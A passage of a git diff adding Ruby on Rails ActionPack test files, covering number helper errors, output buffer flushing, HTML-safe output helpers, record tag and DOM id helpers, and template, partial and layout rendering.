+ def test_number_helpers_should_raise_error_if_invalid_when_specified
+ exception = assert_raise InvalidNumberError do
+ number_to_human("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_to_human_size("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_with_precision("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_to_currency("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_to_percentage("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_with_delimiter("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_to_phone("x", raise: true)
+ end
+ assert_equal "x", exception.number
+ end
+end
diff --git a/actionpack/test/template/output_buffer_test.rb b/actionpack/test/template/output_buffer_test.rb
new file mode 100644
index 0000000..eb0df3d
--- /dev/null
+++ b/actionpack/test/template/output_buffer_test.rb
@@ -0,0 +1,59 @@
+require 'abstract_unit'
+
+class OutputBufferTest < ActionController::TestCase
+ class TestController < ActionController::Base
+ def index
+ render :text => 'foo'
+ end
+ end
+
+ tests TestController
+
+ def setup
+ @vc = @controller.view_context
+ get :index
+ assert_equal ['foo'], body_parts
+ end
+
+ test 'output buffer is nil after rendering' do
+ assert_nil output_buffer
+ end
+
+ test 'flushing ignores nil output buffer' do
+ @controller.view_context.flush_output_buffer
+ assert_nil output_buffer
+ assert_equal ['foo'], body_parts
+ end
+
+ test 'flushing ignores empty output buffer' do
+ @vc.output_buffer = ''
+ @vc.flush_output_buffer
+ assert_equal '', output_buffer
+ assert_equal ['foo'], body_parts
+ end
+
+ test 'flushing appends the output buffer to the body parts' do
+ @vc.output_buffer = 'bar'
+ @vc.flush_output_buffer
+ assert_equal '', output_buffer
+ assert_equal ['foo', 'bar'], body_parts
+ end
+
+ test 'flushing preserves output buffer encoding' do
+ original_buffer = ' '.force_encoding(Encoding::EUC_JP)
+ @vc.output_buffer = original_buffer
+ @vc.flush_output_buffer
+ assert_equal ['foo', original_buffer], body_parts
+ assert_not_equal original_buffer, output_buffer
+ assert_equal Encoding::EUC_JP, output_buffer.encoding
+ end
+
+ protected
+ def output_buffer
+ @vc.output_buffer
+ end
+
+ def body_parts
+ @controller.response.body_parts
+ end
+end
diff --git a/actionpack/test/template/output_safety_helper_test.rb b/actionpack/test/template/output_safety_helper_test.rb
new file mode 100644
index 0000000..76c71c9
--- /dev/null
+++ b/actionpack/test/template/output_safety_helper_test.rb
@@ -0,0 +1,28 @@
+require 'abstract_unit'
+
+class OutputSafetyHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::OutputSafetyHelper
+
+ def setup
+ @string = "hello"
+ end
+
+ test "raw returns the safe string" do
+ result = raw(@string)
+ assert_equal @string, result
+ assert result.html_safe?
+ end
+
+ test "raw handles nil values correctly" do
+ assert_equal "", raw(nil)
+ end
+
+ test "safe_join should html_escape any items, including the separator, if they are not html_safe" do
+ joined = safe_join(["<p>foo</p>".html_safe, "<p>bar</p>"], "<br />")
+ assert_equal "<p>foo</p><br /><p>bar</p>", joined
+
+ joined = safe_join(["<p>foo</p>".html_safe, "<p>bar</p>".html_safe], "<br />".html_safe)
+ assert_equal "<p>foo</p><br /><p>bar</p>", joined
+ end
+
+end
\ No newline at end of file
diff --git a/actionpack/test/template/record_identifier_test.rb b/actionpack/test/template/record_identifier_test.rb
new file mode 100644
index 0000000..2203811
--- /dev/null
+++ b/actionpack/test/template/record_identifier_test.rb
@@ -0,0 +1,49 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class RecordIdentifierTest < ActiveSupport::TestCase
+ include ActionView::RecordIdentifier
+
+ def setup
+ @klass = Comment
+ @record = @klass.new
+ @singular = 'comment'
+ @plural = 'comments'
+ @uncountable = Sheep
+ end
+
+ def test_dom_id_with_new_record
+ assert_equal "new_#{@singular}", dom_id(@record)
+ end
+
+ def test_dom_id_with_new_record_and_prefix
+ assert_equal "custom_prefix_#{@singular}", dom_id(@record, :custom_prefix)
+ end
+
+ def test_dom_id_with_saved_record
+ @record.save
+ assert_equal "#{@singular}_1", dom_id(@record)
+ end
+
+ def test_dom_id_with_prefix
+ @record.save
+ assert_equal "edit_#{@singular}_1", dom_id(@record, :edit)
+ end
+
+ def test_dom_class
+ assert_equal @singular, dom_class(@record)
+ end
+
+ def test_dom_class_with_prefix
+ assert_equal "custom_prefix_#{@singular}", dom_class(@record, :custom_prefix)
+ end
+
+ def test_dom_id_as_singleton_method
+ @record.save
+ assert_equal "#{@singular}_1", ActionView::RecordIdentifier.dom_id(@record)
+ end
+
+ def test_dom_class_as_singleton_method
+ assert_equal @singular, ActionView::RecordIdentifier.dom_class(@record)
+ end
+end
diff --git a/actionpack/test/template/record_tag_helper_test.rb b/actionpack/test/template/record_tag_helper_test.rb
new file mode 100644
index 0000000..ab84bcc
--- /dev/null
+++ b/actionpack/test/template/record_tag_helper_test.rb
@@ -0,0 +1,117 @@
+require 'abstract_unit'
+
+class RecordTagPost
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+ attr_accessor :id, :body
+
+ def initialize
+ @id = 45
+ @body = "What a wonderful world!"
+
+ yield self if block_given?
+ end
+end
+
+class RecordTagHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
+ tests ActionView::Helpers::RecordTagHelper
+
+ def setup
+ super
+ @post = RecordTagPost.new
+ end
+
+ def test_content_tag_for
+ expected = %(<li class="record_tag_post" id="record_tag_post_45"></li>)
+ actual = content_tag_for(:li, @post)
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_prefix
+ expected = %(<ul class="archived_record_tag_post" id="archived_record_tag_post_45"></ul>)
+ actual = content_tag_for(:ul, @post, :archived)
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_with_extra_html_options
+ expected = %(<tr class="record_tag_post special" id="record_tag_post_45" style='background-color: #f0f0f0'></tr>)
+ actual = content_tag_for(:tr, @post, class: "special", style: "background-color: #f0f0f0")
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_with_array_css_class
+ expected = %(<tr class="record_tag_post special odd" id="record_tag_post_45"></tr>)
+ actual = content_tag_for(:tr, @post, class: ["special", "odd"])
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_with_prefix_and_extra_html_options
+ expected = %(<tr class="archived_record_tag_post special" id="archived_record_tag_post_45" style='background-color: #f0f0f0'></tr>)
+ actual = content_tag_for(:tr, @post, :archived, class: "special", style: "background-color: #f0f0f0")
+ assert_dom_equal expected, actual
+ end
+
+ def test_block_not_in_erb_multiple_calls
+ expected = %(<div class="record_tag_post special" id="record_tag_post_45">What a wonderful world!</div>)
+ actual = div_for(@post, class: "special") { @post.body }
+ assert_dom_equal expected, actual
+ actual = div_for(@post, class: "special") { @post.body }
+ assert_dom_equal expected, actual
+ end
+
+ def test_block_works_with_content_tag_for_in_erb
+ expected = %(<tr class="record_tag_post" id="record_tag_post_45">What a wonderful world!</tr>)
+ actual = render_erb("<%= content_tag_for(:tr, @post) do %><%= @post.body %><% end %>")
+ assert_dom_equal expected, actual
+ end
+
+ def test_div_for_in_erb
+ expected = %(<div class="record_tag_post special" id="record_tag_post_45">What a wonderful world!</div>)
+ actual = render_erb("<%= div_for(@post, class: 'special') do %><%= @post.body %><% end %>")
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_collection
+ post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
+ post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
+ expected = %(<li class="record_tag_post" id="record_tag_post_101">Hello!</li>\n<li class="record_tag_post" id="record_tag_post_102">World!</li>)
+ actual = content_tag_for(:li, [post_1, post_2]) { |post| post.body }
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_collection_without_given_block
+ post_1 = RecordTagPost.new.tap { |post| post.id = 101; post.body = "Hello!" }
+ post_2 = RecordTagPost.new.tap { |post| post.id = 102; post.body = "World!" }
+ expected = %(<li class="record_tag_post" id="record_tag_post_101"></li>\n<li class="record_tag_post" id="record_tag_post_102"></li>)
+ actual = content_tag_for(:li, [post_1, post_2])
+ assert_dom_equal expected, actual
+ end
+
+ def test_div_for_collection
+ post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
+ post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
+ expected = %(<div class="record_tag_post" id="record_tag_post_101">Hello!</div>\n<div class="record_tag_post" id="record_tag_post_102">World!</div>)
+ actual = div_for([post_1, post_2]) { |post| post.body }
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_single_record_is_html_safe
+ result = div_for(@post, class: "special") { @post.body }
+ assert result.html_safe?
+ end
+
+ def test_content_tag_for_collection_is_html_safe
+ post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
+ post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
+ result = content_tag_for(:li, [post_1, post_2]) { |post| post.body }
+ assert result.html_safe?
+ end
+
+ def test_content_tag_for_does_not_change_options_hash
+ options = { class: "important" }
+ content_tag_for(:li, @post, options)
+ assert_equal({ class: "important" }, options)
+ end
+end
diff --git a/actionpack/test/template/render_test.rb b/actionpack/test/template/render_test.rb
new file mode 100644
index 0000000..81f3391
--- /dev/null
+++ b/actionpack/test/template/render_test.rb
@@ -0,0 +1,537 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class TestController < ActionController::Base
+end
+
+module RenderTestCases
+ def setup_view(paths)
+ @assigns = { :secret => 'in the sauce' }
+ @view = ActionView::Base.new(paths, @assigns)
+ @controller_view = TestController.new.view_context
+
+ # Reload and register danish language for testing
+ I18n.reload!
+ I18n.backend.store_translations 'da', {}
+ I18n.backend.store_translations 'pt-BR', {}
+
+ # Ensure original are still the same since we are reindexing view paths
+ assert_equal ORIGINAL_LOCALES, I18n.available_locales.map {|l| l.to_s }.sort
+ end
+
+ def test_render_without_options
+ e = assert_raises(ArgumentError) { @view.render() }
+ assert_match "You invoked render but did not give any of :partial, :template, :inline, :file or :text option.", e.message
+ end
+
+ def test_render_file
+ assert_equal "Hello world!", @view.render(:file => "test/hello_world")
+ end
+
+ # Test if :formats, :locale etc. options are passed correctly to the resolvers.
+ def test_render_file_with_format
+ assert_match "<h1>No Comment</h1>", @view.render(:file => "comments/empty", :formats => [:html])
+ assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => [:xml])
+ assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => :xml)
+ end
+
+ def test_render_template_with_format
+ assert_match "<h1>No Comment</h1>", @view.render(:template => "comments/empty", :formats => [:html])
+ assert_match "<error>No Comment</error>", @view.render(:template => "comments/empty", :formats => [:xml])
+ end
+
+ def test_render_partial_implicitly_use_format_of_the_rendered_template
+ @view.lookup_context.formats = [:json]
+ assert_equal "Hello world", @view.render(:template => "test/one", :formats => [:html])
+ end
+
+ def test_render_partial_implicitly_use_format_of_the_rendered_partial
+ @view.lookup_context.formats = [:html]
+ assert_equal "Third level", @view.render(:template => "test/html_template")
+ end
+
+ def test_render_partial_use_last_prepended_format_for_partials_with_the_same_names
+ @view.lookup_context.formats = [:html]
+ assert_equal "\nHTML Template, but JSON partial", @view.render(:template => "test/change_priority")
+ end
+
+ def test_render_template_with_a_missing_partial_of_another_format
+ @view.lookup_context.formats = [:html]
+ assert_raise ActionView::Template::Error, "Missing partial /missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
+ @view.render(:template => "with_format", :formats => [:json])
+ end
+ end
+
+ def test_render_file_with_locale
+ assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => [:de])
+ assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => :de)
+ end
+
+ def test_render_template_with_locale
+ assert_equal "<h1>Kein Kommentar</h1>", @view.render(:template => "comments/empty", :locale => [:de])
+ end
+
+ def test_render_file_with_handlers
+ assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => [:builder])
+ assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => :builder)
+ end
+
+ def test_render_template_with_handlers
+ assert_equal "<h1>No Comment</h1>\n", @view.render(:template => "comments/empty", :handlers => [:builder])
+ end
+
+ def test_render_raw_template_with_handlers
+ assert_equal "<%= hello_world %>\n", @view.render(:template => "plain_text")
+ end
+
+ def test_render_raw_template_with_quotes
+ assert_equal %q;Here are some characters: !@#$%^&*()-="'}{`; + "\n", @view.render(:template => "plain_text_with_characters")
+ end
+
+ def test_render_ruby_template_with_handlers
+ assert_equal "Hello from Ruby code", @view.render(:template => "ruby_template")
+ end
+
+ def test_render_ruby_template_inline
+ assert_equal '4', @view.render(:inline => "(2**2).to_s", :type => :ruby)
+ end
+
+ def test_render_file_with_localization_on_context_level
+ old_locale, @view.locale = @view.locale, :da
+ assert_equal "Hey verden", @view.render(:file => "test/hello_world")
+ ensure
+ @view.locale = old_locale
+ end
+
+ def test_render_file_with_dashed_locale
+ old_locale, @view.locale = @view.locale, :"pt-BR"
+ assert_equal "Ola mundo", @view.render(:file => "test/hello_world")
+ ensure
+ @view.locale = old_locale
+ end
+
+ def test_render_file_at_top_level
+ assert_equal 'Elastica', @view.render(:file => '/shared')
+ end
+
+ def test_render_file_with_full_path
+ template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world')
+ assert_equal "Hello world!", @view.render(:file => template_path)
+ end
+
+ def test_render_file_with_instance_variables
+ assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar")
+ end
+
+ def test_render_file_with_locals
+ locals = { :secret => 'in the sauce' }
+ assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals", :locals => locals)
+ end
+
+ def test_render_file_not_using_full_path_with_dot_in_path
+ assert_equal "The secret is in the sauce\n", @view.render(:file => "test/dot.directory/render_file_with_ivar")
+ end
+
+ def test_render_partial_from_default
+ assert_equal "only partial", @view.render("test/partial_only")
+ end
+
+ def test_render_partial
+ assert_equal "only partial", @view.render(:partial => "test/partial_only")
+ end
+
+ def test_render_partial_with_format
+ assert_equal 'partial html', @view.render(:partial => 'test/partial')
+ end
+
+ def test_render_partial_with_selected_format
+ assert_equal 'partial html', @view.render(:partial => 'test/partial', :formats => :html)
+ assert_equal 'partial js', @view.render(:partial => 'test/partial', :formats => [:js])
+ end
+
+ def test_render_partial_at_top_level
+ # file fixtures/_top_level_partial_only (not fixtures/test)
+ assert_equal 'top level partial', @view.render(:partial => '/top_level_partial_only')
+ end
+
+ def test_render_partial_with_format_at_top_level
+ # file fixtures/_top_level_partial.html (not fixtures/test, with format extension)
+ assert_equal 'top level partial html', @view.render(:partial => '/top_level_partial')
+ end
+
+ def test_render_partial_with_locals
+ assert_equal "5", @view.render(:partial => "test/counter", :locals => { :counter_counter => 5 })
+ end
+
+ def test_render_partial_with_locals_from_default
+ assert_equal "only partial", @view.render("test/partial_only", :counter_counter => 5)
+ end
+
+ def test_render_partial_with_invalid_name
+ e = assert_raises(ArgumentError) { @view.render(:partial => "test/200") }
+ assert_equal "The partial name (test/200) is not a valid Ruby identifier; " +
+ "make sure your partial name starts with a lowercase letter or underscore, " +
+ "and is followed by any combination of letters, numbers and underscores.", e.message
+ end
+
+ def test_render_partial_with_missing_filename
+ e = assert_raises(ArgumentError) { @view.render(:partial => "test/") }
+ assert_equal "The partial name (test/) is not a valid Ruby identifier; " +
+ "make sure your partial name starts with a lowercase letter or underscore, " +
+ "and is followed by any combination of letters, numbers and underscores.", e.message
+ end
+
+ def test_render_partial_with_incompatible_object
+ e = assert_raises(ArgumentError) { @view.render(:partial => nil) }
+ assert_equal "'#{nil.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.", e.message
+ end
+
+ def test_render_partial_with_hyphen
+ e = assert_raises(ArgumentError) { @view.render(:partial => "test/a-in") }
+ assert_equal "The partial name (test/a-in) is not a valid Ruby identifier; " +
+ "make sure your partial name starts with a lowercase letter or underscore, " +
+ "and is followed by any combination of letters, numbers and underscores.", e.message
+ end
+
+ def test_render_partial_with_errors
+ e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise") }
+ assert_match %r!method.*doesnt_exist!, e.message
+ assert_equal "", e.sub_template_message
+ assert_equal "1", e.line_number
+ assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip
+ assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+ end
+
+ def test_render_error_indentation
+ e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise_indentation") }
+ error_lines = e.annoted_source_code.split("\n")
+ assert_match %r!error\shere!, e.message
+ assert_equal "11", e.line_number
+ assert_equal " 9: <p>Ninth paragraph</p>", error_lines.second
+ assert_equal " 10: <p>Tenth paragraph</p>", error_lines.third
+ end
+
+ def test_render_sub_template_with_errors
+ e = assert_raises(ActionView::Template::Error) { @view.render(:template => "test/sub_template_raise") }
+ assert_match %r!method.*doesnt_exist!, e.message
+ assert_equal "Trace of template inclusion: #{File.expand_path("#{FIXTURE_LOAD_PATH}/test/sub_template_raise.html.erb")}", e.sub_template_message
+ assert_equal "1", e.line_number
+ assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+ end
+
+ def test_render_file_with_errors
+ e = assert_raises(ActionView::Template::Error) { @view.render(:file => File.expand_path("test/_raise", FIXTURE_LOAD_PATH)) }
+ assert_match %r!method.*doesnt_exist!, e.message
+ assert_equal "", e.sub_template_message
+ assert_equal "1", e.line_number
+ assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip
+ assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+ end
+
+ def test_render_object
+ assert_equal "Hello: david", @view.render(:partial => "test/customer", :object => Customer.new("david"))
+ end
+
+ def test_render_object_with_array
+ assert_equal "[1, 2, 3]", @view.render(:partial => "test/object_inspector", :object => [1, 2, 3])
+ end
+
+ def test_render_partial_collection
+ assert_equal "Hello: davidHello: mary", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ])
+ end
+
+ def test_render_partial_collection_as_by_string
+ assert_equal "david david davidmary mary mary",
+ @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => 'customer')
+ end
+
+ def test_render_partial_collection_as_by_symbol
+ assert_equal "david david davidmary mary mary",
+ @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer)
+ end
+
+ def test_render_partial_collection_without_as
+ assert_equal "local_inspector,local_inspector_counter",
+ @view.render(:partial => "test/local_inspector", :collection => [ Customer.new("mary") ])
+ end
+
+ def test_render_partial_with_empty_collection_should_return_nil
+ assert_nil @view.render(:partial => "test/customer", :collection => [])
+ end
+
+ def test_render_partial_with_nil_collection_should_return_nil
+ assert_nil @view.render(:partial => "test/customer", :collection => nil)
+ end
+
+ def test_render_partial_with_nil_values_in_collection
+ assert_equal "Hello: davidHello: Anonymous", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), nil ])
+ end
+
+ def test_render_partial_with_layout_using_collection_and_template
+ assert_equal "<b>Hello: Amazon</b><b>Hello: Yahoo</b>", @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+ end
+
+ def test_render_partial_with_layout_using_collection_and_template_makes_current_item_available_in_layout
+ assert_equal '<b class="amazon">Hello: Amazon</b><b class="yahoo">Hello: Yahoo</b>',
+ @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+ end
+
+ def test_render_partial_with_layout_using_collection_and_template_makes_current_item_counter_available_in_layout
+ assert_equal '<b data-counter="0">Hello: Amazon</b><b data-counter="1">Hello: Yahoo</b>',
+ @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object_counter', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+ end
+
+ def test_render_partial_with_layout_using_object_and_template_makes_object_available_in_layout
+ assert_equal '<b class="amazon">Hello: Amazon</b>',
+ @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :object => Customer.new("Amazon"))
+ end
+
+ def test_render_partial_with_empty_array_should_return_nil
+ assert_nil @view.render(:partial => [])
+ end
+
+ def test_render_partial_using_string
+ assert_equal "Hello: Anonymous", @controller_view.render('customer')
+ end
+
+ def test_render_partial_with_locals_using_string
+ assert_equal "Hola: david", @controller_view.render('customer_greeting', :greeting => 'Hola', :customer_greeting => Customer.new("david"))
+ end
+
+ def test_render_partial_using_object
+ assert_equal "Hello: lifo",
+ @controller_view.render(Customer.new("lifo"), :greeting => "Hello")
+ end
+
+ def test_render_partial_using_collection
+ customers = [ Customer.new("Amazon"), Customer.new("Yahoo") ]
+ assert_equal "Hello: AmazonHello: Yahoo",
+ @controller_view.render(customers, :greeting => "Hello")
+ end
+
+ def test_render_partial_without_object_or_collection_does_not_generate_partial_name_local_variable
+ exception = assert_raises ActionView::Template::Error do
+ @controller_view.render("partial_name_local_variable")
+ end
+ assert_match "undefined local variable or method `partial_name_local_variable'", exception.message
+ end
+
+ # TODO: The reason for this test is unclear, improve documentation
+ def test_render_partial_and_fallback_to_layout
+ assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" })
+ end
+
+ # TODO: The reason for this test is unclear, improve documentation
+ def test_render_missing_xml_partial_and_raise_missing_template
+ @view.formats = [:xml]
+ assert_raises(ActionView::MissingTemplate) { @view.render(:partial => "test/layout_for_partial") }
+ ensure
+ @view.formats = nil
+ end
+
+ def test_render_layout_with_block_and_other_partial_inside
+ render = @view.render(:layout => "test/layout_with_partial_and_yield") { "Yield!" }
+ assert_equal "Before\npartial html\nYield!\nAfter\n", render
+ end
+
+ def test_render_inline
+ assert_equal "Hello, World!", @view.render(:inline => "Hello, World!")
+ end
+
+ def test_render_inline_with_locals
+ assert_equal "Hello, Josh!", @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" })
+ end
+
+ def test_render_fallbacks_to_erb_for_unknown_types
+ assert_equal "Hello, World!", @view.render(:inline => "Hello, World!", :type => :bar)
+ end
+
+ CustomHandler = lambda do |template|
+ "@output_buffer = ''\n" +
+ "@output_buffer << 'source: #{template.source.inspect}'\n"
+ end
+
+ def test_render_inline_with_render_from_to_proc
+ ActionView::Template.register_template_handler :ruby_handler, :source.to_proc
+ assert_equal '3', @view.render(:inline => "(1 + 2).to_s", :type => :ruby_handler)
+ end
+
+ def test_render_inline_with_compilable_custom_type
+ ActionView::Template.register_template_handler :foo, CustomHandler
+ assert_equal 'source: "Hello, World!"', @view.render(:inline => "Hello, World!", :type => :foo)
+ end
+
+ def test_render_inline_with_locals_and_compilable_custom_type
+ ActionView::Template.register_template_handler :foo, CustomHandler
+ assert_equal 'source: "Hello, <%= name %>!"', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
+ end
+
+ def test_render_knows_about_types_registered_when_extensions_are_checked_earlier_in_initialization
+ ActionView::Template::Handlers.extensions
+ ActionView::Template.register_template_handler :foo, CustomHandler
+ assert ActionView::Template::Handlers.extensions.include?(:foo)
+ end
+
+ def test_render_ignores_templates_with_malformed_template_handlers
+ ActiveSupport::Deprecation.silence do
+ %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
+ assert_raises(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
+ end
+ end
+ end
+
+ def test_render_with_layout
+ assert_equal %(<title></title>\nHello world!\n),
+ @view.render(:file => "test/hello_world", :layout => "layouts/yield")
+ end
+
+ def test_render_with_layout_which_has_render_inline
+ assert_equal %(welcome\nHello world!\n),
+ @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
+ end
+
+ def test_render_with_layout_which_renders_another_partial
+ assert_equal %(partial html\nHello world!\n),
+ @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
+ end
+
+ def test_render_layout_with_block_and_yield
+ assert_equal %(Content from block!\n),
+ @view.render(:layout => "layouts/yield_only") { "Content from block!" }
+ end
+
+ def test_render_layout_with_block_and_yield_with_params
+ assert_equal %(Yield! Content from block!\n),
+ @view.render(:layout => "layouts/yield_with_params") { |param| "#{param} Content from block!" }
+ end
+
+ def test_render_layout_with_block_which_renders_another_partial_and_yields
+ assert_equal %(partial html\nContent from block!\n),
+ @view.render(:layout => "layouts/partial_and_yield") { "Content from block!" }
+ end
+
+ def test_render_partial_and_layout_without_block_with_locals
+ assert_equal %(Before (Foo!)\npartial html\nAfter),
+ @view.render(:partial => 'test/partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+ end
+
+ def test_render_partial_and_layout_without_block_with_locals_and_rendering_another_partial
+ assert_equal %(Before (Foo!)\npartial html\npartial with partial\n\nAfter),
+ @view.render(:partial => 'test/partial_with_partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+ end
+
+ def test_render_layout_with_a_nested_render_layout_call
+ assert_equal %(Before (Foo!)\nBefore (Bar!)\npartial html\nAfter\npartial with layout\n\nAfter),
+ @view.render(:partial => 'test/partial_with_layout', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+ end
+
+ def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_partial
+ assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n partial html\n\nAfterpartial with layout\n\nAfter),
+ @view.render(:partial => 'test/partial_with_layout_block_partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+ end
+
+ def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_content
+ assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n Content from inside layout!\n\nAfterpartial with layout\n\nAfter),
+ @view.render(:partial => 'test/partial_with_layout_block_content', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+ end
+
+ def test_render_partial_with_layout_raises_descriptive_error
+ e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: 'test/partial', layout: true) }
+ assert_match "Missing partial /true with", e.message
+ end
+
+ def test_render_with_nested_layout
+ assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
+ @view.render(:file => "test/nested_layout", :layout => "layouts/yield")
+ end
+
+ def test_render_with_file_in_layout
+ assert_equal %(\n<title>title</title>\n\n),
+ @view.render(:file => "test/layout_render_file")
+ end
+
+ def test_render_layout_with_object
+ assert_equal %(<title>David</title>),
+ @view.render(:file => "test/layout_render_object")
+ end
+
+ def test_render_with_passing_couple_extensions_to_one_register_template_handler_function_call
+ ActionView::Template.register_template_handler :foo1, :foo2, CustomHandler
+ assert_equal @view.render(:inline => "Hello, World!", :type => :foo1), @view.render(:inline => "Hello, World!", :type => :foo2)
+ end
+
+ def test_render_throws_exception_when_no_extensions_passed_to_register_template_handler_function_call
+ assert_raises(ArgumentError) { ActionView::Template.register_template_handler CustomHandler }
+ end
+end
+
+class CachedViewRenderTest < ActiveSupport::TestCase
+ include RenderTestCases
+
+ # Ensure view path cache is primed
+ def setup
+ view_paths = ActionController::Base.view_paths
+ assert_equal ActionView::OptimizedFileSystemResolver, view_paths.first.class
+ setup_view(view_paths)
+ end
+
+ def teardown
+ GC.start
+ end
+end
+
+class LazyViewRenderTest < ActiveSupport::TestCase
+ include RenderTestCases
+
+ # Test the same thing as above, but make sure the view path
+ # is not eager loaded
+ def setup
+ path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+ view_paths = ActionView::PathSet.new([path])
+ assert_equal ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH), view_paths.first
+ setup_view(view_paths)
+ end
+
+ def teardown
+ GC.start
+ end
+
+ def test_render_utf8_template_with_magic_comment
+ with_external_encoding Encoding::ASCII_8BIT do
+ result = @view.render(:file => "test/utf8_magic", :formats => [:html], :layouts => "layouts/yield")
+ assert_equal Encoding::UTF_8, result.encoding
+ assert_equal "\nРусский \nтекст\n\nUTF-8\nUTF-8\nUTF-8\n", result
+ end
+ end
+
+ def test_render_utf8_template_with_default_external_encoding
+ with_external_encoding Encoding::UTF_8 do
+ result = @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield")
+ assert_equal Encoding::UTF_8, result.encoding
+ assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result
+ end
+ end
+
+ def test_render_utf8_template_with_incompatible_external_encoding
+ with_external_encoding Encoding::SHIFT_JIS do
+ e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield") }
+ assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
+ end
+ end
+
+ def test_render_utf8_template_with_partial_with_incompatible_encoding
+ with_external_encoding Encoding::SHIFT_JIS do
+ e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8_magic_with_bare_partial", :formats => [:html], :layouts => "layouts/yield") }
+ assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
+ end
+ end
+
+ def with_external_encoding(encoding)
+ old = Encoding.default_external
+ silence_warnings { Encoding.default_external = encoding }
+ yield
+ ensure
+ silence_warnings { Encoding.default_external = old }
+ end
+end
diff --git a/actionpack/test/template/resolver_patterns_test.rb b/actionpack/test/template/resolver_patterns_test.rb
new file mode 100644
index 0000000..97b1bad
--- /dev/null
